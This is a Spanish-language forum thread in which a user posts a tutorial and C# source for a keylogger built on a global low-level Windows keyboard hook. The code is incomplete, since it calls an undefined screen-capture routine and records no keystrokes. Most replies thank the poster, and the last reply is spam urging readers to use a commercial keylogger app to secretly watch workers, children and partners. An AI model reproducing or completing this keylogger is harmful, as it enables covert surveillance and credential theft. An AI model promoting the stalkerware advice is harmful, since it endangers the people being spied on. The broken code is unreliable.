[ TUTORIAL guia]Crear Keylogger en Visual C#

Discussion in 'Seguridad y Hacking' started by Hydro Metal, Nov 8, 2010.

  1. Hydro Metal

    Hydro Metal Usuario Casual nvl. 2
    1/41

    Joined:
    Oct 11, 2010
    Messages:
    1,196
    Likes Received:
    2
    Vamos a crear un hermoso keylogger en visual C#.

    Sin usar ingeniería, sólo crearemos un simple código; el diseño gráfico lo pueden hacer ustedes como más les guste.

    /*Éstos son los espacios de nombres*/

    using System;
    using System.Collections.Generic;
    using System.Text;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Windows.Forms;
    using System.Drawing;

    /*Que comienze el juego!!!*/

    class KeyloggerParaPortalianos
    {

    /*Atributos (Recuerden que los nombre de las variables se pueden cambiar)*/

    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;
    private static LowLevelKeyboardProc _proc = HookCallback;
    private static IntPtr _hookID = IntPtr.Zero;

    /*corre dentro de Windows, así que los que tenemos linux podemos probarlo usando VirtualBox de Oracle (gratis)*/

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    [return: MarshalAs(UnmanagedType.Bool)]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    private static extern IntPtr GetModuleHandle(string lpModuleName);

    private delegate IntPtr LowLevelKeyboardProc(int nCode, IntPtr wParam, IntPtr lParam);

    [STAThread]

    /*Entrada principal*/

    static void Main(string[] args)
    {

    Application.EnableVisualStyles();
    Application.SetCompatibleTextRenderingDefault(false);

    _hookID = SetHook(_proc);

    Application.Run();

    UnhookWindowsHookEx(_hookID);

    }

    /*Métodos*/

    private static IntPtr SetHook(LowLevelKeyboardProc proc)
    {
    using (Process curProcess = Process.GetCurrentProcess())
    using (ProcessModule curModule = curProcess.MainModule)
    {
    return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
    }
    }


    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
    {
    if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
    {
    int vkCode = Marshal.ReadInt32(lParam);

    if ((Keys)vkCode == Keys.PrintScreen)
    {
    CaptureScreen();
    }
    //Console.WriteLine((Keys)vkCode);
    }
    return CallNextHookEx(_hookID, nCode, wParam, lParam);
    }

    Aquí ustedes tienen que jugar, investigar, perfeccionar y meter harta mano... saludos!!!

    http://img574.*************/img574/7136/pantallazol.png

    http://img571.*************/img571/6240/pantallazo1k.png

    http://img266.*************/img266/5660/pantallazo2z.png
     
  2. fuckbe4st

    fuckbe4st Usuario Habitual nvl.3 ★
    187/244

    Joined:
    Oct 20, 2009
    Messages:
    10,899
    Likes Received:
    10
    Gracias man por el aporte ;D si tienes mas podrias ponerlos po :Y o si tienes alguna pagina de donde los sacas me mandarias un mp :Y vale en todo caso ;D
     
  3. bymaria

    bymaria Usuario Nuevo nvl. 1
    1/41

    Joined:
    Mar 22, 2013
    Messages:
    1
    Likes Received:
    0
    los enlaces no los puedo ver ,ni menos buscar porfa si me ayudaras a completar eso :D muchas gracias
     
  4. NitH

    NitH Usuario Casual nvl. 2
    37/41

    Joined:
    Dec 3, 2011
    Messages:
    2,345
    Likes Received:
    3
    ta bueno wn.. gracias ^^
     
  5. orenokaze

    orenokaze Usuario Nuevo nvl. 1
    16/41

    Joined:
    Dec 15, 2008
    Messages:
    428
    Likes Received:
    0
    Cabro qlo, te caché ensuciando la fuerza y pasándote al lado oscuro :mad: acusao a tu eñora! xD
     
  6. heydue

    heydue Usuario Nuevo nvl. 1
    1/41

    Joined:
    Jul 29, 2013
    Messages:
    7
    Likes Received:
    0
  7. cavoso

    cavoso Usuario Casual nvl. 2
    37/41

    Joined:
    May 31, 2008
    Messages:
    2,727
    Likes Received:
    13
    se agradece vamos a probarlo xD, creo que esto va en otra seccion mmm.... ya lo movera Al2 si es asi
     
  8. Alisaa2

    Alisaa2 Usuario Nuevo nvl. 1
    1/41

    Joined:
    Aug 9, 2019
    Messages:
    1
    Likes Received:
    0
    Keylogger is really helpful in the matters of personal issues and if you need to know what your workers, kids, and partners are doing behind your back. By using one you would be able to know whatsoever your workers are doing in the working hours, where your partners are and what your kids are doing at their social media profiles. You can try www.cocospy.com/blog/best-keylogger-for-android.html as it is one of the best available tools in the market. It has a very good keylogger that will give you every info of the targeted phone.